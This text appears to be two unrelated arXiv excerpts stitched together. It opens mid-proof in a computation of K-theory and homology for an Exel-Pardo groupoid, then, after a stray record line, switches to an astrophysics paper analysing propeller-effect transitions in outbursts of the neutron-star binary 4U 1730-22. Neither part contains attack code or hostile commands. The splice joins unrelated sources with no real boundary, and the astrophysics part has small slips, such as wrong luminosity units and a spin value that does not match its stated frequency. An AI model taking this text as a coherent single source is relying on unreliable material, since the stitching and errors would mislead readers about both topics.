We will prove that $G$ is a transitive groupoid with isotropy isomorphic to $\field{Z}$, hence $C^*(G)\cong M_3(C(\field{T}))$ since $|E^0|=3$. Indeed, there is only one orbit for the action of $G$ on its unit space, and let's show that the cyclic group $G_u^u=\langle a^{-1}cba\rangle$ is isomorphic to $\field{Z}$. Since
\[(a^{-1}cba)\cdot e_1=(a^{-1}cb)\cdot e_2=(a^{-1}c)\cdot e_5=a^{-1}\cdot e_6=e_3\]
and
\[(a^{-1}cba)\cdot e_3=(a^{-1}cb)\cdot e_6=(a^{-1}c)\cdot e_4=a^{-1}\cdot e_2=e_1,\]
it follows that $(a^{-1}cba)^n$ is not the identity for $n$ odd. Now
\[(a^{-1}cba)|_{e_1}=(a^{-1}cb)|_{a\cdot e_1}a|_{e_1}=(a^{-1}cb)|_{e_2}(a^{-1}c)|_{b\cdot e_2}b|_{e_2}=\]
\[=(a^{-1}c)|_{e_5}a=a^{-1}|_{c\cdot e_5}c|_{e_5}a=(a|_{a^{-1}\cdot e_6})^{-1}ba=b^{-1}ba=a\]
and similarly
\[(a^{-1}cba)|_{e_3}=a^{-1}cb.\]
We deduce
\[(a^{-1}cba)^2|_{e_1}=(a^{-1}cba)|_{(a^{-1}cba)\cdot e_1}(a^{-1}cba)|_{e_1}=(a^{-1}cba)|_{e_3}a=a^{-1}cba.\]
By induction,
\[(a^{-1}cba)^{2k}|_{e_1}=(a^{-1}cba)^k.\]
We consider the action of $(a^{-1}cba)^{2k}$ on sufficiently long paths of the form $\mu=e_1\cdots e_1$ and after repeatedly reducing by factors of $2$, we arrive at $(a^{-1}cba)^{2k}|\mu=(a^{-1}cba)^m$ with $m$ odd, in particular
\[(a^{-1}cba)^{2k}\cdot \mu e_1=\mu(a^{-1}cba)^m\cdot e_1=\mu e_3,\]
so $(a^{-1}cba)^n$ is not the identity for $n$ even.
It follows that $G_u^u=\langle a^{-1}cba\rangle$ is isomorphic to $\field{Z}$.
An isomorphism of $G$ with the groupoid $G^{(0)}\times \field{Z}\times G^{(0)}$ is given by the map
\[a\mapsto (v,1,u),\; b\mapsto (w,1,v),\; c\mapsto (v,1,w),\]
and $G_u^u\cong \{(u,k,u): k\in 2\field{Z}\}\cong \field{Z}$.
In this case, since $|E^1|=6$ and $C^*(G)\cong M_3(C(\field{T}))$, it follows that \[\mathcal{F}_k\cong \mathcal{L}(\mathcal{M}^{\otimes k})\cong \mathcal{X}(E)^{\otimes k}\otimes_{C(E^0)} C^*(G)\otimes_{C(E^0)}\mathcal{X}(E)^{*\otimes k}\cong M_{3\cdot 6^k}(C(\field{T})),\] so $K_0(\mathcal{F}_k)\cong \field{Z}\cong K_1(\mathcal{F}_k)$ and $\mathcal{F}(G,E)$ is an $A\field{T}$-algebra. Recall that the embeddings
$\mathcal{F}_k\hookrightarrow \mathcal{F}_{k+1}$ are determined by
\[\phi_k(i_{\mu}\otimes i_g\otimes i_\nu^*)=\begin{cases}\displaystyle \sum_{x\in d(g)E^1}i_{\mu y} \otimes i_{g|_x}\otimes i_{\nu x}^*,\;\text{if}\; g\in G_{s(\nu)}^{s(\mu)}\;\text{and}\; g\cdot x=y \\0,\;\text{ otherwise.}\end{cases}\]
In particular,
\[i_{\mu}\otimes i_a\otimes i_{\nu}^*\mapsto i_{\mu e_2}\otimes i_u\otimes i_{\nu e_1}^*+i_{\mu e_6}\otimes i_b\otimes i_{\nu e_3}^*,\]
\[i_{\mu}\otimes i_b\otimes i_{\nu}^*\mapsto i_{\mu e_5}\otimes i_a\otimes i_{\nu e_2}^*+i_{\mu e_4}\otimes i_c\otimes i_{\nu e_6}^*,\]
\[i_{\mu}\otimes i_c\otimes i_{\nu}^*\mapsto i_{\mu e_2}\otimes i_{a^{-1}}\otimes i_{\nu e_4}^*+i_{\mu e_6} \otimes i_b\otimes i_{\nu e_5}^*.\]
To compute the $K$-theory of $\mathcal{F}(G,E)$, we first determine the maps \[\Phi_i=[\phi_k]_i:K_i(C^*(G))\cong \field{Z}\to K_i(\mathcal{L}(\mathcal{M}))\cong \field{Z}\] for $i=0,1$. Since $K_0(C^*(G))$ is generated by $[i_u]$ and
\[i_u\mapsto i_{e_1}\otimes i_u\otimes i_{e_1}^*+i_{e_3}\otimes i_v\otimes i_{e_3}^*,\]
it follows that $\Phi_0$ is multiplication by $2$. Since $K_1(C^*(G))$ is generated by $[zi_u+i_v+i_w]$ and
\[zi_u+i_v+i_w\mapsto z(i_{e_1}\otimes i_u\otimes i_{e_1}^*+i_{e_3}\otimes i_v\otimes i_{e_3}^*)+\]\[+i_{e_2}\otimes i_u\otimes i_{e_2}^*+i_{e_6}\otimes i_w\otimes i_{e_6}^*+i_{e_4}\otimes i_v\otimes i_{e_4}^*+i_{e_5}\otimes i_v\otimes i_{e_5}^*,\]
it follows that $\Phi_1$ is also multiplication by $2$.
We obtain
\[K_0(\mathcal{F}(G,E))\cong \field{Z}[1/2]\cong K_1(\mathcal{F}(G,E)).\]
We can describe $C^*(G,E)$ as the crossed product of the simple $A\field{T}$-algebra $\mathcal{F}(G,E)$ by an endomorphism. Using \cite{De1}, its $K$-theory is given by
\[K_0(C^*(G,E))\cong \ker(id-\Phi_1)\oplus \field{Z}/(id-\Phi_0)\field{Z}\cong 0,\]\[K_1(C^*(G,E))\cong \ker(id-\Phi_0)\oplus \field{Z}/(id-\Phi_1)\field{Z}\cong 0.\]
\medskip
Now we compute the homology of the Exel-Pardo groupoid $\mathcal{G}(G,E)$.
Its unit space $E^\infty$ is a disjoint union of three Cantor sets $uE^\infty\cup vE^\infty\cup wE^\infty$. The kernel of the cocycle $\rho:\mathcal{G}(G,E)\to \field{Z},\;\; \rho([\alpha, g,\beta;\xi])=|\alpha|-|\beta|$ is the minimal groupoid
\[\mathcal{H}(G,E)=\bigcup_{k\ge 1} \mathcal{H}_k(G,E),\]
where \[\mathcal{H}_k(G,E)=\{[\alpha, g,\beta;\xi]\in \mathcal{G}(G,E): |\alpha|=|\beta|=k\}\] is isomorphic to $(E^\infty\rtimes G)\times R_k$ via the map $[\alpha, g, \beta; \xi]\mapsto ((\xi, g), (\alpha, \beta))$, where $R_k$ is the equivalence relation on $E^k$ given by $(\alpha, \beta)\in R_k$ if there is $g\in G$ with $s(\alpha)=g\cdot s(\beta)$. Since $G$ is transitive, $C^*(R_k)\cong M_{6^k}$ and it follows that the groupoid $\mathcal{H}_k(G,E)$ is equivalent with $E^\infty\rtimes G$. There is a groupoid homomorphism $\tau_k:\mathcal{H}_k(G,E)\to G$ given by $ [\alpha, g,\beta;\xi]\mapsto g$ with kernel equivalent with the space $E^\infty$. Since the groupoid $G$ is Morita equivalent with the group $\field{Z}$, we deduce
\[H_q(\mathcal{H}_k(G,E))\cong H_q(E^\infty\rtimes G)\cong H_q(G,C(E^\infty, \field{Z}))\cong H_q(\field{Z}, C(uE^\infty,\field{Z})).\]
It follows that
\[H_0(\mathcal{H}_k(G,E))\cong \ker(id-\sigma_*),\;\; H_1(\mathcal{H}_k(G,E))\cong \text{coker}(id-\sigma_*),\]
where $\sigma_*$ is induced by the action of $G$ on $C(E^\infty, \field{Z})$
and $H_q(\mathcal{H}_k(G,E)\cong 0$ for $q\ge 2$. Since the action of $G$ on $E^\infty$ is free and transitive, it follows that
\[H_0(\mathcal{H}_k(G,E))\cong H_1(\mathcal{H}_k(G,E))\cong C(uE^\infty,\field{Z}).\]
Note that $H_0(\mathcal{H}_k(G,E))$ and $H_1(\mathcal{H}_k(G,E))$ are generated by the indicator functions of bisections $B(\alpha, s(\alpha), \alpha; V)$ and $B(\alpha, g, \beta; V)$ for $\alpha, \beta\in E^k, g\in G_{s(\beta)}^{s(\alpha)}$ and for open subsets $V\subseteq Z(\alpha)$ and $V\subseteq Z(\beta)$, respectively. Also, $[\chi_{B(\alpha, g, \beta; V)}]=[\chi_{B(\alpha', g', \beta'; V')}]$ if and only if $V=V'$.
Using the map \[j_k:\mathcal{H}_k(G,E)\hookrightarrow \mathcal{H}_{k+1}(G,E),\;\; j_k([\alpha, g, \beta; \beta x\mu])=[\alpha y, g|_x,\beta x; \beta x\mu],\] we obtain that
$H_0(\mathcal{H}_k(G,E))\to H_0(\mathcal{H}_{k+1}(G,E))$ is given by
\[[\chi_{B(\alpha, u, \alpha ;V)}]\mapsto [\chi_{B(\alpha e_1, u, \alpha e_1; V)}]+[\chi_{B(\alpha e_3, v, \alpha e_3; V)}]\]
and
$H_1(\mathcal{H}_k(G,E))\to H_1(\mathcal{H}_{k+1}(G,E))$ is given by
\[[\chi_{B(\alpha, u, \beta; V)}]\mapsto [\chi_{B(\alpha e_1, u, \beta e_1; V)}]+[\chi_{B(\alpha e_3, v, \beta e_3; V)}].\]
We obtain $\displaystyle H_i(\mathcal{H}(G,E))=\varinjlim_{k\to\infty}(C(uE^\infty,\field{Z}), 2)\cong \field{Z}[1/2]$ for $i=0,1$.
Now the groupoid $\mathcal{H}(G,E)$ is similar to $\mathcal{G}(G,E)\times_\rho\field{Z}$, so we have a long exact sequence
\[0\longleftarrow H_0(\mathcal{G}(G,E))\longleftarrow H_0(\mathcal{H}(G,E))\stackrel{id-\rho_*}{\longleftarrow}H_0(\mathcal{H}(G,E))\longleftarrow H_1(\mathcal{G}(G,E))\]\[\hspace{100mm}\uparrow\]\[\hspace{30mm}0\longrightarrow H_2(\mathcal{G}(G,E))\longrightarrow H_1(\mathcal{H}(G,E))\stackrel{id-\rho_*}{\longrightarrow} H_1(\mathcal{H}(G,E))\]
where $\rho_*$ is the map induced by the action $\hat{\rho}: \field{Z}\curvearrowright \mathcal{G}(G,E)\times_{\rho}\field{Z}$ which takes $(\gamma, n)$ into $(\gamma, n+1)$.
The map
$\rho_*:H_0(\mathcal{G}(G,E)\times_{\rho}\field{Z})\to H_0(\mathcal{G}(G,E)\times_{\rho}\field{Z})$ is given by
\[[\chi_{B(\alpha, s(\alpha), \alpha;Z(\alpha))\times\{0\}}]\mapsto [\chi_{B(\alpha, s(\alpha), \alpha;Z(\alpha))\times\{1\}}]\]
Consider $U=B(\alpha, u, \alpha e_1; Z(\alpha e_1))\times \{1\}\subseteq \mathcal{G}(G,E)\times_{\rho}\field{Z}$ with
\[U^{-1}=B(\alpha e_1,u,\alpha;Z(\alpha))\times\{0\}.\]
Since
\[U^{-1}(B(\alpha, u, \alpha;Z(\alpha))\times\{1\})U=B(\alpha e_1, u, \alpha e_1;Z(\alpha e_1))\times \{0\},\]
it follows that in $H_0(\mathcal{G}(G,E)\times_{\rho}\field{Z})$ we have \[[\chi_{B(\alpha, u,\alpha;Z(\alpha))\times\{1\}}]=[\chi_{B(\alpha e_1, u, \alpha e_1;Z(\alpha e_1))\times \{0\}}]\]
and
\[\rho_*([\chi_{B(\alpha, u, \alpha;Z(\alpha))\times\{0\}}])=[\chi_{B(\alpha e_1, u, \alpha e_1;Z(\alpha e_1))\times \{0\}}].\]
Hence $\rho_*$ on $H_0(\mathcal{G}(G,E)\times_{\rho}\field{Z})\cong H_0(\mathcal{H}(G,E))\cong \field{Z}[1/2]$ is multiplication by $1/2$.
Similarly,
$\rho_*:H_1(\mathcal{G}(G,E)\times_{\rho}\field{Z})\to H_1(\mathcal{G}(G,E)\times_{\rho}\field{Z})$ is given by
\[[\chi_{B(\alpha, g, \beta;Z(\beta))\times\{0\}}]\mapsto [\chi_{B(\alpha, g, \beta;Z(\beta))\times\{1\}}]\]
and if $U=B(\alpha, u, \alpha e_1; Z(\alpha e_1)\times \{1\}\subseteq \mathcal{G}(G,E)\times_{\rho}\field{Z}$ we have
\[U^{-1}(B(\alpha, u, \beta;Z(\beta))\times\{1\})U=B(\alpha e_1, u, \beta e_1;Z(\beta e_1))\times \{0\}.\]
It follows that in $H_1(\mathcal{G}(G,E)\times_{\rho}\field{Z})$ we have \[[\chi_{B(\alpha, u,\beta;Z(\beta))\times\{1\}}]=[\chi_{B(\alpha e_1, u, \beta e_1;Z(\beta e_1))\times \{0\}}]\]
and
\[\rho_*([\chi_{B(\alpha, u, \beta;Z(\beta))\times\{0\}}])=[\chi_{B(\alpha e_1, u, \beta e_1;Z(\beta e_1))\times \{0\}}],\]
so $\rho_*$ on $H_1(\mathcal{G}(G,E)\times_{\rho}\field{Z})\cong H_1(\mathcal{H}(G,E))\cong \field{Z}[1/2]$ is also multiplication by $1/2$.
From the long exact sequence we obtain
\[H_0(\mathcal{G}(G,E))\cong \text{coker}(id-\rho_*),\; H_2(\mathcal{G}(G,E))\cong \ker (id-\rho_*)\]
and
\[0\to \text{coker}(id-\rho_*)\to H_1(\mathcal{G}(G,E))\to \ker(id-\rho_*)\to 0.\]
It follows that
\[H_0(\mathcal{G}(G,E))\cong H_1(\mathcal{G}(G,E))\cong H_2(\mathcal{G}(G,E))\cong 0\]
and $H_q(\mathcal{G}(G,E)\cong 0$ for $q\ge 3$.
\bigskip
|
1,477,468,749,984 | arxiv | \section{Introduction}
About one third of low mass X-ray binaries (LMXBs) hosting neutron stars (NS) are transient sources and characterized by a luminosity that varies over $\sim10^{32}-10^{38}~{\rm erg}^{-2}{\rm s}^{-1}$, which is likely caused by an instability of the accretion induced by a variable accretion rate, $\dot{M}$. In this picture, the accretion flow drained from the companion star propagates towards the NS from the outer regions of the accretion disk (see review, e.g., \citealp{Done2007}), which is confirmed by multi-wavelength observations (e.g., \citealp{Lopez-Navas2020}).
Except for the accretion rate, the NS's parameters, e.g., magnetic field and spin period, could also affect the accretion process.
In theory, the luminosity's abrupt drop at $\sim10^{36}-10^{37}~{\rm erg}^{-2}~{\rm s}^{-1}$ in NS-LMXBs is produced by a transition from the disk accretion (material drops onto the NS surface) to the magnetospheric accretion (material drops on the magnetosphere and is then expelled out from the system), i.e., the propeller effect \citep{Zhang1998}. {\bf The interaction between the magnetic field and the accretion disk occurs in many types of stars involving young stellar objects, white dwarfs, and NSs, which has influence on the inner disk radius, outflow rate and etc (e.g., \citealp{2006ApJ...646..304U, 2015SSRv..191..339R, 2009A&A...493..809B,2018A&A...610A..46C}).}
In this picture, the propeller effect happens when the accretion rate is low enough that the magnetospheric radius, $r_{\rm m}$ (at which the ram pressure of the infalling material is balanced against the magnetic pressure) is larger than the corotation radius $r_{\rm c}$ (at which gravitational forces and centrifugal forces are balanced) \citep{Illarionov1975,Cui1997},
\begin{eqnarray}
r_{\rm c}=1.7\times 10^{8}P_{\rm spin}^{2/3}M_{1.4}^{1/3}~{\rm cm},
\label{corotation}
\end{eqnarray}
here $P$ is the NS spin period in units of second, $M_{1.4}$ is the NS mass in units of 1.4$M_{\odot}$.
That is, if $r_{\rm m}>r_{\rm c}$ the accretion disk is truncated at $r_{\rm m}$ and the accreted material is mostly ``propelled" out by the spinning magnetosphere, rather than falling down to the NS surface.
The transition causes a luminosity gap \citep{Corbet1996,Campana2000}, $\Delta\equiv r_{\rm m}/r_{\rm NS} \ge r_{\rm c}/r_{\rm NS}$. This gap has a lower limit value, $r_{\rm c}/r_{\rm NS}$, which is only dependent on the NS mass $M_{\rm NS}$, NS radius $r_{\rm NS}$, and NS spin $P_{\rm spin}$.
4U~1730--22 was detected by Uhuru in 1972 \citep{Cominsky1978,Forman1978}, and after half a century of quiescence it
returned to be active in 2021 and 2022.
The bright luminosity in the quiescent state \citep{Tomsick2007},
thermonuclear bursts (type I X-ray bursts) \citep{Chen2022b,Li2022}, and the burst oscillation around $\nu$=584.65 Hz \citep{Li2022}, indicate its NS nature and its magnetic field $\sim~10^{8}-10^{9}$ G.
NICER and Insight-HXMT made high cadence observations on the two outbursts and covered the whole outburst stage: the onset, the peak, and the extinction, which is an ideal sample to study the accretion process, e.g., the `propeller effect' and the luminosity gap during the state transition.
For 4U~1730--22, $r_{\rm c}$=24 km, and it is predicted $\Delta=2.4$ by assuming $M_{\rm NS}=$1.4 $M_{\odot}$, $r_{\rm NS}$=10 km.
In this work, using the broad energy band capabilities of Insight-HXMT and the large effective area in soft X-ray band of NICER, we study the two outbursts from 4U~1730--22.
In previous works, when the outburst spectrum is fitted, the accretion disk emission is usually taken as seed photon component and the NS surface emission is ignored, or the NS surface emission is taken as the seed photon component but the accretion disk emission is ignored, e.g., \citep{Zhang1998,Chen2006}. This is due to that the faint NS surface emission of less than one-tenth of the disk emission when the source is bright or that it is hard to distinguish them due to the constraints of the previous instruments. However, when the accretion rate is very low, i.e., $\sim$ 1\%$L_{\rm Edd}$,
the NS surface emission could not be ignored, and should be involved in the spectral fitting.
Especially, in the onset and the extinction of the outburst, the NS surface is the main seed photon component and is much brighter than the disk emission.
In this work, by stacking observations when the source is very faint,
the disk emission and the NS surface emission are both involved in the spectral fitting,
and the disk radius and temperature are obtained (Section 2 and Section 3).
Moreover, a state transition with a luminosity's abrupt drop is observed by NICER, which could be caused by the propeller effect (Section 4).
\section{Observations and Data Reduction}
\subsection{Insight-HXMT}
Insight-HXMT was launched on the 15th of June 2017, which excels in its broad energy band (1--250 keV), large effective area in the hard X-rays energy band and little pile-up for bright sources (up to several Crab) \citep{Zhang2020}.
There are three main payloads, and all of them are collimated telescopes: the High Energy X-ray Telescope (HE; poshwich NaI/CsI, 20--250 keV, $\sim$ 5000 cm$^2$), the Medium Energy X-ray Telescope (ME; Si pin detector, 5--40 keV, 952 cm$^2$) and the Low Energy X-ray telescope (LE; SCD detector, 1--12 keV, 384 cm$^2$).
For the three main payloads of Insight-HXMT, each has two main field of views (FoVs), i.e., LE: 1.6$^{\circ}\times6^{\circ}$ and 6$^{\circ}\times6^{\circ}$, ME: 1$^{\circ}\times4^{\circ}$ and 4$^{\circ}\times4^{\circ}$, HE: 5.7$^{\circ}\times1.1^{\circ}$ and 5.7$^{\circ}\times5.7^{\circ}$.
Moreover,they also have the blind FoV (full blocked) detectors, which are used for the background estimation and energy calibration.
As shown in Figure \ref{fig_lc_nicer_le_me}, for the two outbursts in 2021 and 2022, Insight-HXMT observed 4U~1730--22 with 74 observations ranging from P041401100101-20210707-01-01 to P051400201402-20220513-02-01 with a total observation time of 184 ks.
These observations covered the peak and decay phases of the outburst in 2021 and the peak stage of the outburst in 2022.
The HE spectrum is not involved in the joint spectral fitting of the persistent emission, since the expected HE flux falls below the systematic error of the background model.
We use the Insight-HXMT Data Analysis software (HXMTDAS) v2.05\footnote{http://hxmtweb.ihep.ac.cn/} to extract the lightcurves, the spectra and background emission following the recommended procedure of the Insight-HXMT Data Reduction.
For the spectral fitting of LE and ME, the energy bands are chosen to be 2--7 keV and 8--20 keV.
The spectra of LE and ME are rebinned by ftool ftgrouppha optimal binning algorithm \citep{Kaastra2016} with a minimum of 25 counts per grouped bin, and a 1\% systematic error is added to account for the uncertainties of the background model and calibration \citep{Li2020}.
The resulting spectra are analyzed using XSPEC \citep{Arnaud1996} version 12.12.0.
\subsection{NICER}
For the two outbursts, NICER also performed high cadence observations, which covered almost all the stages of the two outbursts but missed the onset and rise stage of the outburst in 2022.
NICER has observed 4U~1730--22 with 162 observations ranging from 4202200101 to 4639010210 with a total exposure time of 372 ks.
The NICER data are reduced using the pipeline tool nicerl2\footnote{https://heasarc.gsfc.nasa.gov/docs/nicer/nicer\_analysis.html} in NICERDAS v7a with the standard NICER filtering and using ftool XSELECT to extract lightcurves and spectra.
Among the 52 operational detectors, the Focal Plane Module (FPM) No. 14 and 34 are removed from the analysis because of increased detector noise.
The response matrix files (RMFs) and ancillary response files (ARFs) are generated with the ftool nicerrmf and nicerarf.
The background is estimated using the ftool nibackgen3C50 \citep{Remillard2022}.
As we did for the Insight-HXMT spectra, the spectra of NICER are rebinned by ftool ftgrouppha optimal binning algorithm \citep{Kaastra2016} with a minimum of 25 counts per grouped bin.
The tbabs model with Wilm abundances accounts for the ISM absorption in the spectral model \citep{Wilms2000}.
We added a systematic uncertainty of 1\% to the NICER spectrum in 1--10 keV and 5\% to the NICER spectrum in 0.4--1 keV because of a larger systematic uncertainty caused by the NICER instrument and the unmodelled background.
A color-color diagram (CCD) is attempted to plot from NICER data or MAXI data, however, the trajectory in the plot is not a coherent way to represent systems, which could be due to the narrow energy band of NICER and low sensitivity of MAXI. Thus we plot a hardness-intensity diagram (HID), as shown in Figure \ref{fig_hid}, where `hardness' is defined as the count rate ratio (2.5--10 keV/1.7--2.5 keV) and `intensity' is defined the count rate in 0.4--10 keV. Each point on HID represents an obsid with an exposure time of $\sim$1000--5000 s. The black points and red points represent the outbursts in 2021 and 2022, respectively.
\section{Analysis and Results}
{\bf The obsids with thermonuclear bursts observed both by NICER and Insight-HXMT have been removed from the data before attempting spectral fits of the observations, since the additional thermal photons could alter the spectral fitting results of the persistent emission. These obsids all located at the peak phase of the outbursts, it does not affect the spectral evolution of the outbursts when these obsids are removed. Moreover, some obsids with sharp variations in the lightcurves caused by the incorrect good-time-interval are also removed.} For the outburst onset of 2021 and extinction time of the outburst in 2022, i.e., the lowest count rates obsids ($\sim$ 30 cts/s) in Figure \ref{fig_hid}, the spectra of several obsids are stacked by the ftool addspec, respectively. We fit the two stacked spectra with an absorbed convolution thermal Comptonization model (with input photons contributed by the spectral component blackbody, {\bf i.e., tbabs*thcomp*bb}), available as thcomp (a more accurate version of nthcomp) \citep{Zdziarski2020} in XSPEC, which is described by the optical depth $\tau$, electron temperature $kT_{\rm e}$, scattered/covering fraction $f_{\rm sc}$.
The hydrogen column (tbabs in XSPEC)
accounts for both the line-of-sight column density and any intrinsic absorption near the source.
The seed photons are in the shape of blackbody since the thcomp model is a convolution model, and a fraction of Comptonization photons are also given in the model.
The results of the spectral fitting are presented in Table \ref{tb_fit_thcomp_bb} and plotted in Figure \ref{fig_outburst_fit} and Figure \ref{fig_spec_residual_1}. The inferred blackbody radius is well consistent with the NS radius under a distance of 7.56 kpc \citep{Li2022}, thus a spherical corona scenario is favored since the scattered/covering fraction $f_{\rm sc}>$ 70\% at this stage.
We also notice that the blackbody temperature of the two stacked spectra are both around 0.45 keV and the bolomeric fluxes of them are also very similar.
Along with the increase of the count rates, the model above is also attempted to fit the obsids with count rate $>$ 40. However, the parameters derived from the above model is unreasonable, e.g., the blackbody radius $R_{\rm bb}$ is much larger than 10 km and up to more than 100 km, which is much larger than the NS radius. Moreover, the blackbody temperature $kT_{\rm bb}$ decreases as the count rate increases, which is also very unlikely.
For the obsids in the rising phase of the outburst in 2021 with luminosity (4.5--13.8$\times10^{-9}~{\rm erg/cm}^{2}/{\rm s}$) and count rate (70--190 cts/s) which are similar to that of the two obsid of the soft-to-hard state transition (see the next paragraph), the inferred $kT_{\rm bb}$ is 0.39--0.11 keV and 20--120 km.
Under this condition, the spherical corona scenario is disfavored during the rising phase of the outburst.
Thus, we assume the NS surface emission (the temperature and the area) does not change during the outbursts, and take it as part of the seed photons of the Comptonization, {\bf i.e., tbabs*thcomp*(bb+diskbb) with the fixed blackbody parameters derived from the spectral fitting at the outburst onset.}
This assumption should underestimate the NS surface emission and thus leads to an overestimate the accretion disk emission/radius, since $kT_{\rm bb}$ should be higher as the accretion rate increases.
The underestimation of the inclination angle (we take $\theta$ = 0 to calculate the inner disk radius) could offset the overestimation above of the disk emission/radius.
Some works \citep{Thompson2005,Zand2009} indicated that the NS surface temperature could be up to 0.6--0.8 keV and partial of the NS surface emission is blocked by the disk \citep{Thompson2005} and not involved in the Comptonization, which could also offset the overestimate the accretion disk emission/radius.
As given in the following paragraph,
the derived inner radii are consistent well with the NS radius, which indicates this assumption has a mild influence on the spectral fitting and is accepted.
{\bf For consistency check, we also fit the spectra by removing the NS surface emission, the derived model parameters are available online both for the tables and figure.
For obsids around the peak of the outbursts (e.g., with count rates $>$ 200 cts/s), it has an insignificant influence on the derived parameters of the thcomp and diskbb, since the flux of the disk is more then ten times higher than the blackbody emission. However, for the obsids around the rising and decaying parts of the outburst (e.g., with count rates $<$ 100 cts/s), the influence is significant since the flux of the disk is comparable with the blackbody emission; e.g. for the obsids 4639010182--4639010187 around the propeller effect, the derived $T_{\rm disk}$ changes from 0.6 to 1.0 keV and $R_{\rm disk}$ changes from 10 to 2 km, which is unlikely because of the non-physical temperature trend and the small inner disk radius. Moreover, the model of the spherical corona scenario (tbabs*thcomp*bb) is also attempted to fit obsids 4639010182--4639010187 around this transition, and the derived $T_{\rm bb}$ changes from 0.35 keV to 0.48 keV and $R_{\rm bb}$ changes from 45 km to 16 km, which is also unlikely because of the non-physical trend of the temperature and the large NS radius. After the transition, e.g., the obsids 4639010188--4639010196 with count rates $\sim$ 52--40 cts/s, the derived $T_{\rm bb}$ changes from 0.40 keV to 0.35 keV and $R_{\rm bb}$ changes from 16 km to 11 km in the spherical corona scenario, which indicates that the data quality of these obsids could not identify whether the spherical corona or the disk corona scenario is more reasonable. Given the overall consistency and reasonable evolution of model parameters of the model including both components of the NS surface and accretion disk emission, we take this model as physically more appropriate than that with only one thermal emission component.
}
We then take the thermal emission from the accretion disk as the other part of the seed photons {\bf to fit the obsids with count rates $>$ 40 cts/s}, i.e., the model is revised to tbabs*thcomp*(bb+diskbb) {\bf with the fixed blackbody parameters derived from the spectral fitting at the outburst onset}.
From the revised model, the derived parameters are reasonable, as shown in Table \ref{tb_fit_thcomp_bb_diskbb}, Figure \ref{fig_outburst_fit} and Figure \ref{fig_spec_residual_2}.
{\bf Please note that the error bars of the disk temperature $T_{\rm disk}$, inner disk radii $R_{\rm disk}$ and the bolometric fluxes $F$ of some obsids (mostly with counts rates $<$ 60 ct/s) with $T_{\rm disk}\sim$ 0.1--0.2 keV is hard to be derived because of the low temperature and low flux of the disk emission, and we fixed other parameters to calculate $T_{\rm disk}$, $R_{\rm disk}$, and $F$, which should underestimate these error bars. We also attempt to stack several of them, and the derived parameters are consistent with that derived from the individual obsid.
The model is also used to fit the joint spectra of NICER and Insight-HXMT, {\bf as shown in Table \ref{tb_fit_thcomp_bb_diskbb_nicer_hxmt} and Figure \ref{fig_outburst_fit}.}
Under a distance of 7.56 kpc, and $L_{\rm Edd}=1.8\times10^{38}$ erg/s, the peak luminosity
corresponds to $\sim$15\% $L_{\rm Edd}$.
Along with the increased flux, at the rising phase of the outburst, the inner disk radius $R_{\rm disk}$ is above 20 km, and then stays at $\sim$ 10 km after the flux peak time in the face-on scenario (inclination angel $\theta$ = 0).
At the decay phase of the outburst in 2022, an abrupt change of $R_{\rm disk}$ and $T_{\rm disk}$ between obsids 4639010184 and 4639010185 is obvious, i.e., from 0.5 keV and 12 km to 0.3 keV and 24 km within one day.
NICER missed the decay phase of the outburst in 2021 with a gap about 40 days.
Please note that there are some differences of the thcomp parameters derived from the joint NICER/Insight-HXMT spectral fitting and the NICER spectral fitting, but the trends are very similar.
It is because that the shape of the unsaturated Comptonization is more dependant on the higher energy photons which undergo more scatterings than the mean or the lower energy photons. The joint spectral fitting extends the photon energy from 10 keV to 20 keV, and the derived thcomp parameters should be more reliable.
We also notice that the disk parameters derived from the two kinds of spectra are consistent well with each other.
Moreover, the enlarged $R_{\rm disk}$ is consistent well with the corotation radius $r_{\rm c}$, both of which are around 24 km.
The transition is also obvious in the HID, as shown in Figure \ref{fig_hid}, with count rates from 174 cts/s to 85 cts/s within one day.
We also notice that, different from the bolometric luminosity of the disk $F_{\rm disk}$ which decreases by a factor of 2.9 during the transition, however, the parameters of the Comptonization model changed little. This leads to that the total bolometric luminosity shows a mild change by a factor of 1.6.
Under a distance of 7.56 kpc, the transition occurred is between obsids 4639010184 and 4639010185 in Table \ref{tb_fit_thcomp_bb_diskbb}, with the bolometric luminosities of $5.4\times10^{36}~{\rm erg}~{\rm s}^{-1}$ and $3.4\times10^{36}~{\rm erg}~{\rm s}^{-1}$, respectively.
Assuming $M_{\rm NS}=$1.4 $M_{\odot}$, $R_{\rm NS}$=10 km, and taking $P_{\rm spin}$=1/587=1.71 ms, the inferred magnetic fields corresponding to the two luminosities above are $1.8\times10^{8}$ G and $2.2\times10^{8}$ G, respectively, based on the formula given by \citet{Lamb1973, Cui1997, Zhang1998}
\begin{eqnarray}
L_{X,36}\approx2.34B_{9}^{2}P_{-2}^{-7/3}M_{1.4}^{-2/3}R_{6}^{5},
\label{magn}
\end{eqnarray}
here $L_{X,36}$ is the total luminosity in units of $10^{36}~{\rm erg}~{\rm s}^{-1}$, $B_{9}$ is the magnetic field in units of $10^{9}$ G, $P_{-2}$ is the NS period in units of 10 ms, $M_{1.4}$ is the NS mass in units of 1.4$M_{\odot}$ and $R_{6}$ is the NS radius in units of 10 km.
\section{Discussion}
Different from the previous work on the propeller effect, we take both the NS surface and accretion disk emission as the seed photons of the Comptonization and get the time evolution of the corona and disk in the bolometric luminosity range of 1\%--15\% $L_{\rm Edd}$. The HID shows a hysteresis, i.e., the luminosity of the hard-to-soft transition is higher than the luminosity of the soft-to-hard transition.
However, the first transition above (hard-to-soft) was not observed by NICER due to its observation gap.
Fortunately, the last transition above (soft-to-hard) was detected by NICER and shows a sudden decline in accretion disk emission.
The truncated inner disk radius is consistent well with the corotation radius.
Taking the soft-to-hard transition as caused by the propeller effect, the magnetic field is derived.
Apart from Aql~X--1 \citep{Zhang1998} and 4U~1608--52 \citep{Chen2006}, 4U~1730--22 is now also listed among the sources with observed propeller effect.
We notice that the total luminosity change during the transition is by a factor of 1.6, which is smaller than the model-predicted luminosity gap of 2.4, and could be related to matter leaking through the magnetosphere to the NS surface (e.g., \citealp{Stella1986,Zhang1998}), e.g., forming some kind of accretion flow/channel to the NS surface (e.g., magnetic poles) \citep{Arons1976, Elsner1977}, as shown in Figure \ref{fig_illustraction}. If it were true, a reasonable prediction is that there is an enhancement of pulsation fraction (if the pulsation exists) around the transition, which is beyond scope of this work and will be explored elsewhere.
For the outbursts of 4U~1730--22, the picture aforementioned in Section 1 is revised as shown in the toy model of Figure \ref{fig_illustraction}.
In the high/soft state, the accretion disk extends to the NS surface. Along with the accretion rate to a certain value,
the propeller effect happens and expels out most material within the magnetosphere, which leads to a truncated disk (at the corotation radius for this work).
